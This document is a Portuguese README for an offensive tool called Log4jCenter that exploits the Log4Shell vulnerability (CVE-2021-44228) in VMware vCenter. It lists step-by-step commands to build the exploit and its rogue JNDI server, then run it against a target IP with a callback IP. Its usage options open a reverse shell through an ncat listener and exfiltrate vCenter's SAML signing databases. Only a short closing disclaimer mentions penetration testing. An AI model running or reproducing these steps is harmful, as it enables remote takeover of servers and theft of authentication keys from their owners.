
Explorando o CVE-2021-44228 no vCenter para execução remota de código e muito mais.
Explorando a CVE-2021-44228 no vCenter para execução remota de código e muito mais. Publicação no blog detalhando a exploração, disponível abaixo:
As provas de conceito para esta vulnerabilidade estão dispersas e precisam ser executadas manualmente. Este repositório automatiza o processo de exploração e demonstra um vetor de ataque adicional possível após a exploração.
Este repositório pode ser usado manualmente ou com Docker.
Para baixar e executar o exploit manualmente, execute os seguintes passos. Primeiro, garanta que Java e Maven estejam instalados no seu host atacante. Para fazer isso usando apt em sistemas operacionais baseados em Debian, execute o seguinte comando:
apt update && apt install openjdk-11-jre maven
Clone o repositório do GitHub e instale todos os requisitos python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
Na raiz do repositório Log4jCenter, compile o projeto Rogue-Jndi usando o comando abaixo:
mvn package -f utils/rogue-jndi/
Primeiro, garanta que o Docker esteja instalado no seu host atacante. (Não vou te guiar por esse processo)
Em seguida, execute o seguinte comando para clonar o repositório e construir a imagem Docker que usaremos.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
Para executar o contêiner, execute um comando semelhante ao seguinte com suas flags de linha de comando adicionadas ao final. Por exemplo, o comando abaixo seria usado para explorar o vCenter e obter uma shell reversa. Observe que o contêiner não vai capturar a shell reversa. Você precisa criar um listener ncat em uma sessão de shell separada:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help show this help message and exit
-t IP, --target IP vCenter Host IP
-i CALLBACK, --ip CALLBACK
Callback IP for payload delivery and reverse shell.
-p PORT, --port PORT Callback port for reverse shell.
-e, --exfiltrate Module to pull SAML DB
-r, --revshell Module to establish reverse shell
Obtenha uma shell reversa usando a ferramenta instalada no seu sistema local:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
Exfiltre os bancos de dados de assinatura SAML de dentro de um contêiner Docker:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
Esta ferramenta foi projetada para uso durante testes de penetração; o uso desta ferramenta para atacar alvos sem consentimento mútuo prévio é ilegal. É responsabilidade do usuário final obedecer a todas as leis locais, estaduais e federais aplicáveis. Os desenvolvedores não assumem nenhuma responsabilidade e não se responsabilizam por qualquer uso indevido deste programa.